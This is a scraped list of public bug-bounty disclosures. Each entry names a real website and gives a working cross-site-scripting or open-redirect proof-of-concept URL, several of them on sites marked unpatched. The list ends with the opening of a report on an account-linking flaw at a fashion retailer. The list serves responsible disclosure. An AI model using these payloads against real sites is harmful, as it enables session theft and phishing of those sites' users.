slideplayer.es XSS vulnerability

Vulnerable URL: http://slideplayer.es/search/?q=%27%22%20autofocus%20onfocus=alert%27OPENBUGBOUNTY%27%20value=%22a Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 19173 VIP website status:| Yes Check slideplayer....

partenariat-ecoles.lcl.fr XSS vulnerability

Vulnerable URL: https://partenariat-ecoles.lcl.fr/school/login/4354c9b7a5b24b9892bb4313f879d88e;jsessionid=F3E404CAEF146CC64ED86CDB9D3A655A?redirect=%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017...

emploi-btp.lemoniteur.fr XSS vulnerability

Vulnerable URL: http://emploi-btp.lemoniteur.fr/offre-emploi/offre-emploi-construction?p=34&posted=1=1itemparpage=15=score=descdecriteres=0=%27%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3Ereflocalisation%5B%5D=Arrayreflocalisationlabel==Rechercher Details: Description| Value...

wit.uber.pl XSS vulnerability

Vulnerable URL: http://wit.uber.pl/pliki/index.php?path=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check wit.uber.pl SSL...

pcss.xmu.edu.cn XSS vulnerability

Vulnerable URL: http://pcss.xmu.edu.cn/en/index.php?m=team"=detail=31 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

cuisineetvinsdefrance.com XSS vulnerability

Vulnerable URL: http://www.cuisineetvinsdefrance.com/recette/'%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 18:44 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

humanisme-ecologie-republique.fr XSS vulnerability

Vulnerable URL: http://www.humanisme-ecologie-republique.fr/recherche?q=%27%22%20autofocus%20onfocus=alert%27OPENBUGBOUNTY%27%20value=%22aze=493339 Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 11:10 GMT Vulnerability type:| XSS Vulnerability...

trademaster.ua XSS vulnerability

Vulnerable URL: http://trademaster.ua/index.php?page=search=%22%3E%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%2FXSSPOSED%2F%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 11:10 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

turgenev.lit-info.ru XSS vulnerability

Vulnerable URL: http://turgenev.lit-info.ru/shop/book/author/turgenev/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

bbc.com XSS vulnerability

Vulnerable URL: http://www.bbc.com/travel/weather/feed'-alert'OPENBUGBOUNTY'-'/?jsoncallback=? Details: Description| Value ---|--- Patched:| Yes, at 16.12.2016 Latest check for patch:| 16.12.2016 16:59 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 110 VIP...

holmesplace.de XSS vulnerability

Vulnerable URL: http://holmesplace.de/zurich.c/en/search-all.html?q=" Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 11:09 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 389417 VIP website status:| No Check...

holmesplace.at XSS vulnerability

Vulnerable URL: http://holmesplace.at/zurich.c/en/search-all.html?q=" Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 11:09 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 893865 VIP website status:| No Check...

burgessyachts.com XSS vulnerability

Vulnerable URL: https://www.burgessyachts.com/fr/searchresult/?q=%22%3E%3C%2Fh1%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C%2Fscript%3E%3C%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

thepiratebay.webypass.xyz XSS vulnerability

Vulnerable URL: https://thepiratebay.webypass.xyz/search/" Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check thepiratebay.webypass.xyz SSL connection:| Grade: ...

familyrelationships.gov.au Open Redirect vulnerability

Vulnerable URL: http://www.familyrelationships.gov.au/Bye.aspx?url=http://www.openbugbounty.org/ Details: Description| Value ---|--- Patched:| Yes, at 16.07.2017 Latest check for patch:| 16.07.2017 23:37 GMT Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank|...

beacon724.com XSS vulnerability

Vulnerable URL: http://www.beacon724.com/news.php?id=23'" Details: Description| Value ---|--- Patched:| Yes, at 10.07.2017 Latest check for patch:| 10.07.2017 03:20 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4883458 VIP website status:| No Coordinated...

video.vitaminshoppe.com XSS vulnerability

Vulnerable URL: http://video.vitaminshoppe.com/vms/generalaffiliatepreviewvideo.php?widgetid=1608576609id=239pid=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

video.underarmour.com XSS vulnerability

Vulnerable URL: http://video.underarmour.com/vms/generalaffiliatepreviewvideo.php?widgetid=1849179385id=387pid=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

pirateunblocker.com XSS vulnerability

Vulnerable URL: http://pirateunblocker.com/search/" Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 11:09 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 173052 VIP website status:| No Check pirateunblocker.co...

Boozt Fashion AB: Make victim buy in attacker's account without any idea - http://www.booztlet.com/

INTRODUCTION ------------------------ During the testing of http://www.booztlet.com/ I have noticed that the account related links available from https://www.boozt.com/ are also available in http://www.booztlet.com/. This should not be the case, as this shop doesn't have a "My account" section...